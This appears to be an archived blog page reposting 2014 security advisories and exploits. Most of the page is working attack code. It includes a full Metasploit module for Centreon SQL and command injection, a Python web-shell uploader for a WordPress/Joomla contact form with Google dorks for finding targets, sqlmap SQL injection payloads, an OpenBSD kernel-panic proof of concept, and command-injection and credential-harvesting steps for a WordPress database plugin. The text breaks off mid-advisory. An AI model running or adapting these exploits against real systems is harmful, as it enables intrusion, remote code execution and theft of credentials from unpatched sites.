MondoUnix Unix, Linux, FreeBSD, BSD, GNU, Kernel , RHEL, CentOS, Solaris, AIX, HP-UX, Mac OS X, Tru64, SCO UnixWare, Xenix, HOWTO, NETWORKING, IPV6

24Oct/140

Dell SonicWall GMS v7.2.x – Persistent Web Vulnerability

Document Title:
===============
Dell SonicWall GMS v7.2.x - Persistent Web Vulnerability
 
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1222
 
Release Date:
=============
2014-10-21
 
Vulnerability Laboratory ID (VL-ID):
====================================
1222
 
Common Vulnerability Scoring System:
====================================
3
 
Product & Service Introduction:
===============================
Dell SonicWALL`s management and reporting solutions provide a comprehensive architecture for centrally creating and managing security policies, providing real-time monitoring and alerts, and delivering intuitive compliance and usage reports, all from a single management interface. Whether your organization is a small- or medium-sized business, a distributed enterprise or a managed service provider, Dell™ SonicWALL™ offers software and appliance solutions to meet its needs.
 
The award-winning Dell SonicWALL Global Management System (GMS) provides organizations, distributed enterprises and service providers with a flexible, powerful and intuitive solution to centrally manage and rapidly deploy SonicWALL firewall, anti-spam, backup and recovery, and secure remote access solutions. Flexibly deployed as software, hardware—in the form of the Universal 
Management Appliance (UMA)—or a virtual appliance, SonicWALL GMS also provides centralized real-time monitoring and comprehensive policy and compliance reporting to drive down the cost of owning and managing SonicWALL security appliances.  Multiple GMS software, hardware, and virtual appliance agents, when deployed in a cluster, can scale to manage thousands of SonicWALL security appliances. This makes GMS an ideal solution for small- to medium-sized businesses, enterprises and managed service 
providers that have either single-site or distributed multi-site environments.
 
(Copy of the Vendor Homepage: http://www.sonicwall.com/emea/en/products/Centralized_Management_Reporting.html )
 
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a persistent validation vulnerability in the official DELL 
SonicWall GMS v7.2.x appliance web-application.
 
Vulnerability Disclosure Timeline:
==================================
2014-10-21: Public Disclosure (Vulnerability Laboratory)
 
Discovery Status:
=================
Published
 
Affected Product(s):
====================
DELL
Product: SonicWall GMS Networks Appliance Application 7.2
 
Exploitation Technique:
=======================
Local
 
Severity Level:
===============
Medium
 
Technical Details & Description:
================================
A persistent mail encoding web vulnerability has been discovered in the official DELL SonicWall GMS v7.2.x appliance web-application.
The security issue allows remote attackers with low privileged user account to inject own malicious script codes to the application-side of the vulnerable service module.
 
The vulnerability is located in the `Console > Management > Settings > GMS Settings` module. Remote attackers and low 
privileged web-application 
user accounts are able to inject own malicious script code context as notification value. The vulnerable user context 
with log files or information 
notification messages (input) will be send to the internal web-server through the firewall. The data of the POST method 
request in the input, executes 
without a secure encoding or a restriction on the input in the web-application appliance. The persistent execution of 
the script code occurs in the mail 
notification that gets send by the appliances directly to users or via the interval count. In case of the second 
provided scenario the application generated 
a pdf report with malicious script code in the mail body message.
 
The issue impact a risk to the full appliance web-application get compromised beause the send mail notifications is 
wrong encoded and the internal encode is 
broken too. Regular the stored values must be secure encoded and parsed to prevent persistent executions in the 
appliance mails. The attack vector is persistent 
on the application-side of the vulnerable service and the request method to inject the payload is POST.
 
The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common 
vulnerability scoring system) count of 3.0.
Exploitation of the vulnerability requires a low privileged application user account and low user interaction. 
Successful exploitation of the vulnerability results 
in session hijacking, persistent phishing attacks, persistent external redirect via mail and persistent manipulation of 
affected or connected module context.
 
 
Vulnerable Module(s):
                                [+] Console > Management > Settings > GMS Settings
 
Vulnerable Parameter(s):
                                [+] message body > table
 
Affected Service(s):
                                [+] admin () sonicwall com (test > livedemo-admin () sonicwall com)
 
 
Note: All other modules sending user values of non restricted input throught the appliance back. (logs, updates ...)
 
 
Proof of Concept (PoC):
=======================
The persistent mail encoding web vulnerability can be exploited by remote attackers with low privileged application 
user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to 
continue.
 
Information of requirements:
- The template to send notification alerts needs to be send to the
Default html (example: http://gms.demo.sonicwall.com/sgms/auth > )
- The Console > Management > Settings section needs to be linked to the
appliance demo email address (example: livedemo-admin () sonicwall com)
- The Alert of the notification with the pdf summery report of the
archiv needs to be redirected to the testmail like in our case
(bkm () evolution-sec com)
 
 
PoC: message body > table
 
<html>
<head>
<title><iframe src=a>%20<iframe>  <iframe src=a>%20<iframe></title>
<link rel="important stylesheet" href="chrome://messagebody/skin/messageBody.css">
</head>
<body>
<table border=0 cellspacing=0 cellpadding=0 width="100%" class="header-part1"><tr><td><b>Betreff: </b><a>%20<x>  
<a>%20<x></td></tr><tr><td><b>Von: </b>x () sonicwall com</td></tr><tr><td><b>Datum: </b>07.03.2014 
00:15</td></tr></table>
<table border=0 cellspacing=0 cellpadding=0 width="100%" class="header-part2"><tr><td><b>An: </b>bkm () evolution-sec 
com</td></tr></table><br>
<[PERSISTENT INJECTED SCRIPT CODE!]>%20<iframe><br>
<br>
<br>
<br>
Powered by Dell SonicWALL GMS</body>
</html>
 
 
Reference(s):
http://gms.localhost:4872/sgms/
http://gms.localhost:4872/sgms/panelManager
http://gms.localhost:4872/sgms/panelManager?panelidz=1
http://gms.localhost:4872/sgms/panelManager?panelidz=1&level=1&typeOfUnits=0#
 
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure encode and parse of the input values in the message body context Filter and restrict context of send mails through the application and the web-server of the sonicwall gms appliance.
The issue has already been patched by the dell security team in cooperation with the vulnerability-lab during the year 2014.
 
Security Risk:
==============
The security risk of the persistent mail encoding and validation web vulnerability is estimated as medium. (CVSS 3.0)
 
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm () evolution-sec com) [www.vulnerability-lab.com]
 
 
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all 
warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 
Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss 
of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such 
damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack 
into databases 
or trade with fraud/stolen material.
 
Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                             - www.evolution-sec.com
Contact:    admin () vulnerability-lab com      - research () vulnerability-lab com            - admin () evolution-sec 
com
Section:    www.vulnerability-lab.com/dev       - forum.vulnerability-db.com                   - 
magazine.vulnerability-db.com
Social:     twitter.com/#!/vuln_lab             - facebook.com/VulnerabilityLab                - 
youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php   - 
vulnerability-lab.com/rss/rss_news.php
 
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact (admin () vulnerability-lab com or research () vulnerability-lab com) to get a permission.
 
Copyright © 2014 | Vulnerability Laboratory [Evolution Security]
-- 
VULNERABILITY LABORATORY RESEARCH TEAM
DOMAIN: www.vulnerability-lab.com
CONTACT: research () vulnerability-lab com

(28)

24Oct/140

Centreon SQL / Command Injection

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Centreon SQL and Command Injection',
      'Description'    => %q{
        This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon
        Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command
        injection in the displayServiceStatus.php component, it is possible to execute arbitrary
        commands as long as there is a valid session registered in the centreon.session table.
        In order to have a valid session, all it takes is a successful login from anybody.
        The exploit itself does not require any authentication.
 
        This module has been tested successfully on Centreon Enterprise Server 2.2.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'MaZ', # Vulnerability Discovery and Analysis
          'juan vazquez' # Metasploit Module
        ],
      'References'     =>
        [
          ['CVE', '2014-3828'],
          ['CVE', '2014-3829'],
          ['US-CERT-VU', '298796'],
          ['URL', 'http://seclists.org/fulldisclosure/2014/Oct/78']
        ],
      'Arch'           => ARCH_CMD,
      'Platform'       => 'unix',
      'Payload'        =>
        {
          'Space'       => 1500, # having into account 8192 as max URI length
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd cmd_bash',
              'RequiredCmd' => 'generic python gawk bash-tcp netcat ruby openssl'
            }
        },
      'Targets'        =>
        [
          ['Centreon Enterprise Server 2.2', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Oct 15 2014',
      'DefaultTarget'  => 0))
 
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/centreon'])
      ], self.class)
  end
 
  def check
    random_id = rand_text_numeric(5 + rand(8))
    res = send_session_id(random_id)
 
    unless res && res.code == 200 && res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
      return Exploit::CheckCode::Safe
    end
 
    injection = "#{random_id}' or 'a'='a"
    res = send_session_id(injection)
 
    if res && res.code == 200
      if res.body && res.body.to_s =~ /sh: graph: command not found/
        return Exploit::CheckCode::Vulnerable
      elsif res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
        return Exploit::CheckCode::Detected
      end
    end
 
    Exploit::CheckCode::Safe
  end
 
  def exploit
    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited")
    elsif check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - The SQLi cannot be exploited. Possibly because there's nothing in the centreon.session table. Perhaps try again later?")
    end
 
    print_status("#{peer} - Exploiting...")
    random_id = rand_text_numeric(5 + rand(8))
    random_char = rand_text_alphanumeric(1)
    session_injection = "#{random_id}' or '#{random_char}'='#{random_char}"
    template_injection = "' UNION ALL SELECT 1,2,3,4,5,CHAR(59,#{mysql_payload}59),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 -- /**"
    res = send_template_id(session_injection, template_injection)
 
    if res && res.body && res.body.to_s =~ /sh: --imgformat: command not found/
      vprint_status("Output: #{res.body}")
    end
  end
 
  def send_session_id(session_id)
    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
      'vars_get' =>
        {
          'session_id' => session_id
        }
    )
 
    res
  end
 
  def send_template_id(session_id, template_id)
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
      'vars_get' =>
        {
          'session_id' => session_id,
          'template_id' => template_id
        }
      }, 3)
 
    res
  end
 
  def mysql_payload
    p = ''
    payload.encoded.each_byte { |c| p << "#{c},"}
    p
  end
 
end

(10)

24Oct/140

WordPress / Joomla Creative Contact Form 0.9.7 Shell Upload

#!/usr/bin/python
#
# Exploit Name: Wordpress and Joomla Creative Contact Form Shell Upload Vulnerability
#               Wordpress plugin version: <= 0.9.7
#               Joomla extension version: <= 2.0.0
# 
# Vulnerability discovered by Gianni Angelozzi
#
# Exploit written by Claudio Viviani
#
# Dork google wordpress:  inurl:inurl:sexy-contact-form
# Dork google joomla   :  inurl:com_creativecontactform
#
# Tested on BackBox 3.x
#
# http connection
import urllib, urllib2, sys, mimetypes
# Args management
import optparse
# file management
import os, os.path
 
# Check url
def checkurl(url):
    if url[:8] != "https://" and url[:7] != "http://":
        print('[X] You must insert http:// or https:// procotol')
        sys.exit(1)
    else:
        return url
 
# Check if file exists and has readable
def checkfile(file):
    if not os.path.isfile(file) and not os.access(file, os.R_OK):
        print '[X] '+file+' file is missing or not readable'
        sys.exit(1)
    else:
        return file
# Get file's mimetype
def get_content_type(filename):
    return mimetypes.guess_type(filename)[0] or 'application/octet-stream'
 
# Create multipart header
def create_body_sh3ll_upl04d(payloadname):
 
   getfields = dict()
 
   payloadcontent = open(payloadname).read()
 
   LIMIT = '----------lImIt_of_THE_fIle_eW_$'
   CRLF = '\r\n'
 
   L = []
   for (key, value) in getfields.items():
      L.append('--' + LIMIT)
      L.append('Content-Disposition: form-data; name="%s"' % key)
      L.append('')
      L.append(value)
 
   L.append('--' + LIMIT)
   L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('files[]', payloadname))
   L.append('Content-Type: %s' % get_content_type(payloadname))
   L.append('')
   L.append(payloadcontent)
   L.append('--' + LIMIT + '--')
   L.append('')
   body = CRLF.join(L)
   return body
 
banner = """
 
 
  ___ ___               __                            __,-,__                                  
 |   Y   .-----.----.--|  .-----.----.-----.-----.   |  ' '__|                                 
 |.  |   |  _  |   _|  _  |  _  |   _|  -__|__ --|   |     __|                                 
 |. / \  |_____|__| |_____|   __|__| |_____|_____|   |_______|                                 
 |:      |    _______     |__|             __           |_|                                    
 |::.|:. |   |   _   .-----.-----.--------|  .---.-.                                           
 `--- ---'   |___|   |  _  |  _  |        |  |  _  |                                           
             |.  |   |_____|_____|__|__|__|__|___._|                                           
             |:  1   |                                                                         
             |::.. . |                                                                         
             `-------'      
  _______                  __   __                 _______             __              __
 |   _   .----.-----.---.-|  |_|__.--.--.-----.   |   _   .-----.-----|  |_.---.-.----|  |_    
 |.  1___|   _|  -__|  _  |   _|  |  |  |  -__|   |.  1___|  _  |     |   _|  _  |  __|   _|   
 |.  |___|__| |_____|___._|____|__|\___/|_____|   |.  |___|_____|__|__|____|___._|____|____|   
 |:  1   |       _______                          |:  1   |                                    
 |::.. . |      |   _   .-----.----.--------.     |::.. . |                                    
 `-------'      |.  1___|  _  |   _|        |     `-------'                                    
                |.  __) |_____|__| |__|__|__|                                                  
                |:  |                                                                          
                |::.|                                                                          
                `---'                                                                          
 
 
                                                     Cr3ative C0nt4ct Form Sh3ll Upl04d
 
                                     Discovered by:
 
                                    Gianni Angelozzi
 
                                      Written by:
 
                                    Claudio Viviani
 
                                 http://www.homelab.it
 
                                    info@homelab.it
                                homelabit@protonmail.ch
 
                            https://www.facebook.com/homelabit
                              https://twitter.com/homelabit
                            https://plus.google.com/+HomelabIt1/
                   https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
"""
 
commandList = optparse.OptionParser('usage: %prog -t URL -c CMS-f FILENAME.PHP [--timeout sec]')
commandList.add_option('-t', '--target', action="store",
                  help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
                  )
commandList.add_option('-c', '--cms', action="store",
                  help="Insert CMS Type: wordpress|joomla",
                  )
commandList.add_option('-f', '--file', action="store",
                  help="Insert file name, ex: shell.php",
                  )
commandList.add_option('--timeout', action="store", default=10, type="int",
                  help="[Timeout Value] - Default 10",
                  )
 
options, remainder = commandList.parse_args()
 
# Check args
if not options.target or not options.file or not options.cms:
    print(banner)
    commandList.print_help()
    sys.exit(1)
 
payloadname = checkfile(options.file)
host = checkurl(options.target)
timeout = options.timeout
cmstype = options.cms
 
print(banner)
 
if options.cms == "wordpress":
   url_sexy_upload = host+'/wp-content/plugins/sexy-contact-form/includes/fileupload/index.php'
   backdoor_location = host+'/wp-content/plugins/sexy-contact-form/includes/fileupload/files/'
 
elif options.cms == "joomla":
   url_sexy_upload = host+'/components/com_creativecontactform/fileupload/index.php'
   backdoor_location = host+'/components/com_creativecontactform/fileupload/files/'
 
else:
   print("[X] -c options require: 'wordpress' or 'joomla'")
   sys.exit(1)
 
content_type = 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$'
 
bodyupload = create_body_sh3ll_upl04d(payloadname)
 
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
           'content-type': content_type,
           'content-length': str(len(bodyupload)) }
 
try:
   req = urllib2.Request(url_sexy_upload, bodyupload, headers)
   response = urllib2.urlopen(req)
 
   if "error" in response.read():
      print("[X] Upload Failed :(")
   else:
      print("[!] Shell Uploaded")
      print("[!] "+backdoor_location+options.file)
except urllib2.HTTPError as e:
   print("[X] Http Error: "+str(e.code))
except urllib2.URLError as e:
   print("[X] Connection Error: "+str(e.code))

(22)

24Oct/140

WordPress CP Multi View Event Calendar 1.01 SQL Injection

######################
 
# Exploit Title : CP Multi View Event Calendar 1.01 SQL Injection Vulnerability
 
# Exploit Author : Claudio Viviani 
 
# Software Link : https://downloads.wordpress.org/plugin/cp-multi-view-calendar.zip
 
# Date : 2014-10-23
 
# Tested on : Windows 7 / Mozilla Firefox
              Windows 7 / sqlmap (0.8-1)
              Linux / Mozilla Firefox
              Linux / sqlmap 1.0-dev-5b2ded0
 
######################
 
 
# Description
 
CP Multi View Event Calendar 1.01 suffers from SQL injection vulnerability
 
calid variable is not sanitized.
 
######################
 
# PoC
 
http://localhost/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1 [Sqli]
 
# Sqlmap
 
---
Place: GET
Parameter: calid
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
    Payload: cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1 RLIKE (SELECT (CASE WHEN (9095=9095) THEN 1 ELSE 0x28 END))
 
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1 AND (SELECT 3807 FROM(SELECT COUNT(*),CONCAT(0x7171736971,(SELECT (CASE WHEN (3807=3807) THEN 1 ELSE 0 END)),0x716b716671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
 
    Type: UNION query
    Title: MySQL UNION query (NULL) - 14 columns
    Payload: cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171736971,0x6f7642724e6743615973,0x716b716671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
 
    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1 AND 8168=BENCHMARK(5000000,MD5(0x4a4a6d41))
---
 
 
#####################
 
Discovered By : Claudio Viviani
                http://www.homelab.it
 
                info@homelab.it
                homelabit@protonmail.ch
 
                https://www.facebook.com/homelabit
                https://twitter.com/homelabit
                https://plus.google.com/+HomelabIt1/
                https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
 
#####################

(17)

24Oct/140

OpenBSD 5.5 Local Kernel Panic

/*
 * tenochtitlan.c
 *
 * OpenBSD <= 5.5 Local Kernel Panic
 * by Alejandro Hernandez (@nitr0usmx)
 *
 * Advisory and technical details:
 * http://www.ioactive.com/pdfs/IOActive_Advisory_OpenBSD_5_5_Local_Kernel_Panic.pdf
 *
 * Fix: http://www.openbsd.org/errata55.html#013_kernexec
 *
 * This PoC works only for i386.
 * 
 * Bug found with Melkor (ELF file format fuzzer)
 * https://github.com/IOActive/Melkor_ELF_Fuzzer
 *
 * Mexico / Oct 2014
 */
 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/types.h>
 
#ifndef  __OpenBSD__
  #error "Not an OpenBSD system !!!1111";
#else
#include <sys/exec_elf.h>
#endif
 
#ifndef __i386__
  #error "Not an i386 system !!!1111";
#endif
 
// In Aztec mythology, Huitzilopochtli, was a god of war, a sun god, 
// the patron of the city of Tenochtitlan, the Capital of the Aztec Empire.
const char pyramid[] = 
"                  _____\n"
"                 _|[]_|_\n"
"               _/_/=|_\\_\\_\n"
"             _/_ /==| _\\ _\\_\n"
"           _/__ /===|_ _\\ __\\_\n"
"         _/_ _ /====| ___\\  __\\_\n"
"       _/ __ _/=====|_ ___\\ ___ \\_\n"
"     _/ ___ _/======| ____ \\_  __ \\_\n";
 
struct {
  unsigned int idx;
  Elf32_Word   p_align;
} targets[] = {
  { 6, 0xb16b00b5 }, // (  *  )(  *  )
  { 6, 0xdeadface },
  { 4, 0x00001001 },
  { 0, 0x00000004 }
};
 
int main(int argc, char **argv)
{
  Elf32_Ehdr *hdr;
  Elf32_Phdr *pht; // Program Header Table
  struct stat statinfo;
  char *elfptr;
  int fd, r;
 
  if(argc < 2){
    fprintf(stderr, "Usage: %s <elf_executable>\n", argv[0]);
    exit(-1);
  }
 
  if((fd = open(argv[1], O_RDWR)) == -1){
    perror("open");
    exit(-1);
  }
 
  if(fstat(fd, &statinfo) == -1){
    perror("stat");
    close(fd);
    exit(-1);
  }
 
  if((elfptr = (char *) mmap(NULL, statinfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED){
    perror("mmap");
    close(fd);
    exit(-1);
  }
 
  hdr = (Elf32_Ehdr *) (elfptr);
  pht = (Elf32_Phdr *) (elfptr + hdr->e_phoff);
 
  printf("[*] hdr->e_phoff:\t0x%.4x\n", hdr->e_phoff);
  printf("[*] hdr->e_phnum:\t0x%.4x\n", hdr->e_phnum);
 
  srand(time(NULL));
  r = rand();
 
  if(r % 3 == 0){
#ifdef OpenBSD5_5
    pht[targets[0].idx].p_align = targets[0].p_align;
    printf("[*] PHT[%d].p_align = 0x%x\n", targets[0].idx, pht[targets[0].idx].p_align);
#else // OpenBSD 5.2 didn't panic with 0xb16b00b5 in the last LOAD's p_align
    pht[targets[1].idx].p_align = targets[1].p_align;
    printf("[*] PHT[%d].p_align = 0x%x\n", targets[1].idx, pht[targets[1].idx].p_align);
#endif
  } else if(r % 3 == 1){
    pht[targets[2].idx].p_align = targets[2].p_align;
    printf("[*] PHT[%d].p_align = 0x%x\n", targets[2].idx, pht[targets[2].idx].p_align);
  } else {
    int p;
 
    for(p = 0; p < hdr->e_phnum; p++, pht++)
      if(pht->p_type == PT_LOAD){
        pht->p_align = targets[3].p_align;
        printf("[*] PHT[%d].p_align = 0x%x\n", p, pht->p_align);
      }
  }
 
  // Synchronize the ELF in memory and the file system
  if(msync(elfptr, 0, MS_ASYNC) == -1){
    perror("msync");
    close(fd);
    exit(-1);
  }
 
  if(munmap(elfptr, statinfo.st_size) == -1){
    perror("munmap");
    close(fd);
    exit(-1);
  }
 
  close(fd);
 
  printf("%s", pyramid);
 
  sleep(1);
  system(argv[1]);
 
  // Should never reach this point, however sometimes the OS didn't crash with
  // system() until the 2nd execution. Same behavior with execl and execv too.
  printf("... try to execute %s manually.\n", argv[1]);
 
  return -1;
}

(18)

22Oct/140

WordPress Database Manager 2.7.1 Command Injection / Credential Leak

Title: Vulnerabilities in WordPress Database Manager v2.7.1
Author: Larry W. Cashdollar, @_larry0
Date: 10/13/2014
Download: https://wordpress.org/plugins/wp-dbmanager/
Downloads: 1,171,358
Vendor: Lester Chan, https://profiles.wordpress.org/gamerz/
Contacted: 10/13/2014, Vulnerabilities addressed in v2.7.2.
Full Advisory: http://www.vapid.dhs.org/advisories/wordpress/plugins/wp-dbmanager-2.7.1/index.html
CVE: 2014-8334,2014-8335
OSVDBID: 113508,113507,113509
 
Description: "Allows you to optimize database, repair database, backup database, restore database, delete backup database , drop/empty tables and run selected queries. Supports automatic scheduling of backing up, optimizing and repairing of database."
 
Vulnerability: Plugin suffers from command injection, exposes MySQL database credentials to the process table and allows the user to download system files via the ‘Run SQL Query’ feature. User authentication with current_user_can('manage_database')) privileges are required.  The full advisory has screen shots for illustration. 
 
PoC
 
Command Injection
 
The command that is sent through passthru() is the following:
 
 
/usr/bin/mysqldump --force --host="localhost" --user="root" --password="passwordhere" 
--default-character-set="utf8" --add-drop-table --skip-lock-tables wordpress > /usr/share/wordpress/wp-content/backup-db\';rce;\'/1413225588_-_wordpress.sql
 
 
rce is just a homebrew .c binary I wrote for testing command injections it creates a file
in /tmp with some stats on who executed it.
 
 
# cat /tmp/RCE_JChl9c 
ARGGHHH I've been executed! my pid is :16169 Parent id 16168 
Name:        sh
State:        S (sleeping)
Tgid:        16168
Pid:        16168
PPid:        15925
TracerPid:        0
Uid:        33        33        33        33
Gid:        33        33        33        33
FDSize:        32
Groups:        33 
 
 
 
 
In the following lines commands can be injected into the variables being used to build
the command by using ;command;
 
 
$backup['filepath'] 
$backup['mysqldumppath']
 
 
I use $backup[‘filepath’] or “Path To Backup:”  for my PoC.
 
 
/usr/share/wordpress/wp-content/backup-db;rce;
 
 
Saving and then Running a backup executes /usr/bin/rce, the command that is sent through passthru() is the following:
 
 
/usr/bin/mysqldump --force --host="localhost" --user="root" --password="passwordhere" 
--default-character-set="utf8" --add-drop-table --skip-lock-tables wordpress > /usr/share/wordpress/wp-content/backup-db;rce;/1413225588_-_wordpress.sql
 
 
rce is just a homebrew .c binary I wrote for testing command injections, it creates a file
in /tmp with some stats on who executed it.  
 
 
# cat /tmp/RCE_JChl9c 
ARGGHHH I've been executed! my pid is :16169 Parent id 16168 
Name:        sh
State:        S (sleeping)
Tgid:        16168
Pid:        16168
PPid:        15925
TracerPid:        0
Uid:        33        33        33        33
Gid:        33        33        33        33
FDSize:        32
Groups:        33 
 
 
Mysql Credentials Leaked to Process Table
 
 
Also by running a simple script:
PoC:
$ while (true); do  echo -n `ps ax | grep m[y]sqldump`; done
 
 
6324 ? S 0:00 sh -c /usr/bin/mysqldump --force --host="localhost" --user="root" --password="passwordhere" --default-character-set="utf8" --add-drop-table --skip-lock-tables wordpress > /usr/share/wordpress/wp-content/backup-db/1413224776_-_wordpress.sql 6328 ? R 0:00 sh -c /usr/bin/mysqldump --force --host="localhost" --user="root" --password="passwordhere" --default-character-set="utf8" --add-drop-table --skip-lock-tables wordpress > /usr/share/wordpress/wp-content/backup-db/1413224776_-_wordpress.sql6324 ? S 0:00 sh -c /usr/bin/mysqldump --force --host="localhost" --user="root" --password="passwordhere" --default-character-set="utf8" --add-drop-table --skip-lock-tables wordpress > /usr/share/wordpress/wp-content/backup-db/1413224776_-_wordpress.sql 6328 ? S 0:00 /usr/bin/mysqldump --force --host=localhost --user=root --password=x xxxxxx --default-character-set=utf8 --add-drop-table --skip-lock-tables wordpress6324 ? S 0:00 sh -c /usr/bin/mysqldump --force --host="localhost" --user="root" --password="passwordhere" --default-character-set="utf8" --add-drop-table --skip-lock-tables wordpress > /usr/share/wordpress/wp-content/backup-db/1413224776_-_wordpress.sql 6328 ? S 0:00 /usr/bin/mysqldump --force --host=localhost --user=root --password=x xxxxxx --default-character-set=utf8 --add-drop-table --skip-lock-tables wordpress
 
 
A malicious local user can harvest credentials for the mysql database off the process table.
 
 
The trouble is the code doesn’t properly sanitize user input and is being passed directly to passthru or system depending on which OS you’re using.
 
 
   In wp-dbmanager.php:
      86                 $backup['command'] = '';
   87                 $brace = (substr(PHP_OS, 0, 3) == 'WIN') ? '"' : '';
   88                 if(intval($backup_options['backup_gzip']) == 1) {
   89                         $backup['filename'] = $backup['date'].'_-_'.DB_NAME.'.sql.gz';
   90                         $backup['filepath'] = $backup['path'].'/'.$backup['filename'];
   91                         $backup['command'] = $brace.$backup['mysqldumppath'].$brace.' --force --host="'.$backup['host'].'" --user="'.DB_USER.'" --password="'.$backup['password'].'"'.$backup['port'].$backup['sock'].' --add-drop-table --skip-lock-tables '.DB_NAME.' | gzip > '.$brace.$backup['filepath'].$brace;
   92                 } else {
   93                         $backup['filename'] = $backup['date'].'_-_'.DB_NAME.'.sql';
   94                         $backup['filepath'] = $backup['path'].'/'.$backup['filename'];
   95                         $backup['command'] = $brace.$backup['mysqldumppath'].$brace.' --force --host="'.$backup['host'].'" --user="'.DB_USER.'" --password="'.$backup['password'].'"'.$backup['port'].$backup['sock'].' --add-drop-table --skip-lock-tables '.DB_NAME.' > '.$brace.$backup['filepath'].$brace;
   96                 }
   97                 execute_backup($backup['command']);
 
 
 
  211 ### Executes OS-Dependent mysqldump Command (By: Vlad Sharanhovich)
  212 function execute_backup($command) {
  213         $backup_options = get_option('dbmanager_options');
  214         check_backup_files();
  215         if(substr(PHP_OS, 0, 3) == 'WIN') {
  216                 $writable_dir = $backup_options['path'];
  217                 $tmpnam = $writable_dir.'/wp-dbmanager.bat';
  218                 $fp = fopen($tmpnam, 'w');
  219                 fwrite($fp, $command);
  220                 fclose($fp);
  221                 system($tmpnam.' > NUL', $error);
  222                 unlink($tmpnam);
  223         } else {
  224                 passthru($command, $error);
  225         }
  226         return $error;
  227 }
 
 
In database-manage.php: 
      46                                 if(stristr($database_file, '.gz')) {
   47                                         $backup['command'] = 'gunzip < '.$brace.$backup['path'].'/'.$database_file.$brace.' | '.$brace.$backup['mysqlpath'].$brace.' --host="'.$backup['host'].'" --user="'.DB_USER.'" --password="'.$backup['password'].'"'.$backup['port'].$backup['sock'].$backup['charset'].' '.DB_NAME;
   48                                 } else {
   49                                         $backup['command'] = $brace.$backup['mysqlpath'].$brace.' --host="'.$backup['host'].'" --user="'.DB_USER.'" --password="'.$backup['password'].'"'.$backup['port'].$backup['sock'].$backup['charset'].' '.DB_NAME.' < '.$brace.$backup['path'].'/'.$database_file.$brace;
   50                                 }
   51                                 passthru($backup['command'], $error);
 
 
 
 
File Downloads
In the ‘Sql Run Query’ Panel only a few queries are allowed (Use Only INSERT, UPDATE, REPLACE, DELETE, CREATE and ALTER statements.) but these are suffiecient to download sensitive system files:
CREATE TABLE password (passwords varchar(8096));
